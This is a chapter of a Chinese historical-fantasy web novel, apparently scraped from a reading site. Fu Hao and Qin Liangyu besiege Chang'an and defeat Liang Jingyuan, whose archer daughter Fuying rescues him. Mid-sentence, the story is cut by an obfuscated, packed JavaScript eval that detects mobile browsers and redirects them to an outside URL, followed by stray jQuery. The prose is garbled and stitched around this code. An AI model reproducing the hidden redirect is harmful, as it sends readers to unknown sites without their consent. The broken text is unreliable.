妇好、秦良玉二人骑着马带着大军赶路,一路打下郑县和霸城,逐渐兵临长安城下……
长安城内。
梁府。
“采莲南塘秋,莲花过人头……”
一群舞姬伴随着歌姬动听的歌声舞动着身躯,屋内觥筹交错、歌舞升平。
最上方,一个穿着武将服的男人一手撑在腿上,一手拿着酒杯慢慢喝着,眼神随着舞姬们的走动而变换着。
舞姬的长袖拂过将军的面庞,将军的脸随着拂去的袖子转着,鼻尖还残留着脂粉香气。
将军不禁伸手去抓,却只摸到了长袖的尾巴。
舞姬转着圈在将军的腿上坐下,两只胳膊抱着将军的脖子,整个身体软弱无骨地靠在将军身上。
将军搂着舞姬柔软的腰身,正要亲上去,这时,小兵跑了进来,单膝跪地喊道:“将军,郑县和霸城沦陷,雍王大军已达长安城外六里!”
啥时间,屋内安静如鸡,歌姬闭上了嘴,舞姬停下了脚,宾客们放下了酒杯亦或筷子,所有人的目光都聚集在前来禀报的小兵身上。
将军梁敬元推开了身上坐着的舞姬,目光如炬:“你说什么?!”
小兵又重复了一遍刚才的话语。
“砰!”的一声,梁敬元将手中的杯盏猛地砸向地上碎成了一片片,歌姬舞姬都赶紧退了出去,其他将领们也都噤声。
“好一个雍王,打主意打到我头上来了!”梁敬元语气愤怒,说着站了起身,“所有人,迎、敌!”
城墙之上。
梁敬元两眼一眯,远远看见了两个人高马大身着铠甲的女子骑着马带着大军而来,还举了面旗子,上面好像写着一个“姬”字。
“哼!一个女子称王也就罢了,守好自己那一亩三分地不好么?非要出来抢地方,还抢到老子头上了?!”梁敬元不屑地说道。
“将军说的是,那姬绥英不好好守女德,咱们不去找她的麻烦她反而找上来了?看等会儿咱们怎么把她那大军打个落花流水!”一个将军附和道。
“将军您瞧,那姬绥英竟派的是两个女子?莫不是在嘲笑我们?”又有人说道。
梁敬元仔细盯着那两抹身影:“看着不似一般女子,待会儿上了战场都给我当心点。”
“就两个女子带军有什么好怕的?将军您怕什么啊?”一人嘟囔道。
梁敬元瞪了眼那人,冷哼了一声:“既如此等会儿你去迎敌。”
那人张了张嘴,最后只得点头应下了:“喏,属下遵命。”
“好将军,那人便是梁敬元,瞧着的确不简单。”秦良玉就在妇好的边上,她远远看着城墙上站着的梁敬元,淡淡说道。
“秦将军,此次攻打长安不容失败,不论敌将何人,我们必须赢,莫让天下人小瞧了主公。”妇好神色淡定,看向梁敬元的眼神恍若看着一个死人。
“自然,我们二人可不能堕了主公的名声。主公称王不易,不能因为我们固住了前进的步伐。”秦良玉说道。
“将士们,接下来要如何?”妇好扬声问着身后的大军。
“杀!”
“杀!!”
“杀!!!”
……
一声又一声杀,一声比一声高,震耳欲聋,震得城墙内的梁家军都差点慌了神。
梁敬元回头瞥了眼身后众人的脸色,怒吼一声:“怕什么?!”
众人立马回过神来。
“区区万人兵马就怕了?我们何惧之有?”梁敬元又道。
“是啊,我们也不缺兵,还怕对面这么点儿人?”
“就是!干!”
“打!两个女人带兵怕什么?!”
……
看着士气逐渐高涨起来,梁敬元也露出满意的笑容,转回头看向妇好和秦良玉的眼神却是凝重。
这二人一看就是习武多年的,怕是不好对付。
一刻钟后。
“我等奉雍王之命前来讨伐逆贼!”妇好一手拿着长戟一手牵着缰绳,抬头说话时的神色在阳光的照射下是那么耀眼夺目。
梁敬元嗤笑一声:“逆贼?我看你们那所谓的雍王才是逆贼吧?你们一介妇人不好好在家相夫教子竟出来领兵打仗,怎的,你们雍王麾下不会都没男的吧?还是根本没有男人愿意投靠你们雍王啊?”说罢大笑起来,他身后的将士们也哈哈大笑。
秦良玉微微眯眼,握着武器的手紧了几分,面上却不显。
妇好面色没什么变化,依旧淡定如初。
“待会儿莫死在我的戟下,太丢人了,你说是不是,梁将军?”妇好勾了勾嘴角,眼里带着若有若无的嘲意。
梁敬元冷哼一声,拍了下手下的墙砖:“开城门,迎敌!”
城门缓缓打开,梁敬元一身戎装骑马而出,身后跟着他的将士们。
两批大军对上,主将之间的沉默写满了一个“战”字。
久久的凝视之间,梁敬元缓缓吐出了一个字:“打!”
厮杀声弥漫在战场上,双方都是万人的兵力,实力相差不大。
梁敬元和妇好打在了一起,他以为秦良玉是副将,因此让自己的副将去对付秦良玉。
长戟打在了一起发出响声,梁敬元当即变了脸色。
怎么会……
“梁将军怎么了?怕了么?”妇好见状勾了勾嘴角,手上更加用力,眼见着长戟更靠近梁敬元了。
梁敬元咬牙将长戟抵了回去,一边说道:“说笑了,本将军怎么会怕?不过还不曾知晓娘子姓名,就怕待会儿让娘子做了无名鬼。”
“记住了,杀你的人叫——妇、好。”妇好话音落下,一个用力将梁敬元击飞下马,紧接着她用力一蹬,整个人飞下马到了梁敬元跟前。
梁敬元在地上滚了几圈后立刻翻身站起,看向妇好的眼神也带了些惧怕。
他本以为这妇好只是从小习武有那底子在不好对付,不曾想此人武力似乎在他之上……
那姬绥英怎么就那么好命?先是一个霍去病,后又出了个小有名气的卫青,现在还有妇好,还有那秦良玉,他的副将已经不敌她在生死一线了。
但梁敬元不愿放弃,他好不容易走到今天,不能因为怕就停滞不前。
“妇好,我承认,你很强。”梁敬元嗓音沙哑,恶狠狠地盯着妇好。
“多谢,你也不差。”妇好脸色笑容淡淡的。
接着,她又道:“不过,你确定还要和我闲聊吗?你那副将好像要不行了。”她说着瞥了眼那副将。
“咚。”
副将人头落地。
秦良玉眼神微冷,扫过梁敬元。
梁敬元不由地心底发冷,强,太强了,那姬绥英手底下竟都是这样的人才!为何都投奔了她?!
“那姬绥英有什么好的?”梁敬元不禁问了出来,满眼不解。
“主公之好,非言语可明说也。梁敬元,你也不差,为何不做一个明智的选择呢?”妇好问道。
梁敬元扫了眼周围,他的将士们正在奋力厮杀。
“我梁敬元此生绝不屈居他人之下,更何况只是一介女子!要杀要剐尽管来吧,莫说废话了!”他梗着脖子,接着就冲向了妇好。
秦良玉想上前帮忙被妇好拒绝了。
“说出去两个打一个有损主公英明。”妇好快速说道,然后迎了上去。
梁敬元和妇好纠缠在一起打得难舍难分,一时间两人竟然难分伯仲,妇好和秦良玉二人都有些欣赏梁敬元的实力,确实不错。
一刻钟后,两人还没个结果,就在梁敬元快要力竭之时,妇好一个定睛,枪尖刺向梁敬元……
“咻!”地一声。
一支穿云箭射来,妇好一个躲闪,箭矢穿过她的衣袍扎进了后方的土壤里。
妇好循着箭矢飞来的方向望去,城墙之上站着一个瘦瘦小小的年轻人,他的手里正拿着一把弓。
就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630540|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此时,梁家军也把受伤力竭的梁敬元带回了城内,所有士兵退了回去,城门关闭。
妇好一个抬手,示意所有人站住。
“为何不追?那梁敬元就差一口气了。”秦良玉定睛看着城墙上射箭的男人,有些不甘心。
“穷寇莫追。”妇好淡淡道,“何况……射箭那人你看清楚了吗?看出了什么?”
阳光有些大,秦良玉不禁眯了眯眼:“射箭那人……瞧着有些像女子?”
“对,女子,这梁敬元可与说出来的不一样啊,有点意思。”妇好嘴角微微上扬,接着扬声道,“全军退至三里之外休整!”
长安城内。
梁府。
卧房。
大大小小一堆人围满了床,床上躺着裹着许多麻布的梁敬元,刚才射箭的少年坐在床边上守着。
“阿耶你还好吗?”少年问道,嗓音软软糯糯。
梁敬元眼神呆滞地望着顶上,眼角竟聚起了点点泪水。
“阿楹,阿耶完了,长安完了……”梁敬元喃喃道。
少年摇着头,努力忍住眼里的泪水不让它们落下:“阿耶,不是的,不是这样的!阿耶,你一定要撑住,长安城还在,雍王大军还没打进来,你一定要撑住!”
“阿楹,阿耶败了,彻底败了,那叫妇好的女将我敌不过,终有一日我会死在她手下,趁现在,你……你们……你们逃吧。”梁敬元看着少年又看了看身边围着的属下们,脸色痛苦。
“将军,您只是受了伤不会死的,那叫妇好的瞧着也没甚厉害的,怕她作甚?我们这么多人就不信还打不过她一个!”
“就是!将军您别泄气,大不了好好休整几日我们再次迎敌!”
“对!”少年站了起来,不高的个子在一干男人中是那么显眼。
少年眼神坚定,眼泪无声地落下却被她立马擦去,她说:“我梁福楹自小习武,如今大敌当前,我作为你的女儿,我得站出来!”
“胡闹!”梁敬元当即大喝一声,随即咳了起来,咳得猛烈。
“就是!福楹娘子你可别胡闹了,你就是个姑娘家,怎么上战场?你,你还没人家妇好一半高吧?”有个将军颇有些嫌弃。
“福楹娘子还是待在府里等我们的好消息吧,战场不是小娘子该去的。”又一人说道。
梁福楹扫了眼众人,捏紧了拳头:“女子又如何?那妇好不也是女子,你们谁打过她了?更何况,阿耶是我救下来的,你们如今关头竟还在这质疑我?何不想想法子如何击退敌军!”
众人面面相觑,本想说些什么,可见梁敬元面色不耐,便纷纷闭嘴不言。
“阿楹,你坐下,阿耶有话同你说。”梁敬元开口说道,嗓音沙哑。
梁福楹又在床边坐下了。
接着,梁敬元目光扫向其他人,其他人对视了眼,纷纷告退,就连大夫也离开了卧房。
屋内只剩下了梁敬元和梁福楹二人。
“阿楹你莫要冲动,你善射却不善武,那妇好武艺远超阿耶,你绝不是她的对手。”梁敬元劝道。
“那,那她身边那副将呢?女儿总不会连那副将也不敌吧?”梁福楹犹豫了会儿才开口问道。
梁敬元摇了摇头,眼神无奈:“你敌不过王副将三十招,王副将却在二十招内被敌方副将砍了脑袋,阿楹,你觉得呢?”
梁福楹脸色白了些,面色有些难看。
“那我们该如何是好?阿耶,三岁我没了阿母,六岁没了祖父母们,如今阿楹只有你一个亲人了,你说过不会丢下我的!”梁福楹握住了梁敬元的手,哭着说道。
梁敬元又咳了几声,胸前包裹的麻布渗出丝丝血迹。
“阿耶……”梁福楹呢喃着。
“阿耶有没有活路不知道,但你,阿楹,你或许还有一线生机……”梁敬元定定地看着女儿的脸,缓缓说道。
“一线……生机?”梁福楹止住哭泣,眼里有些迷茫。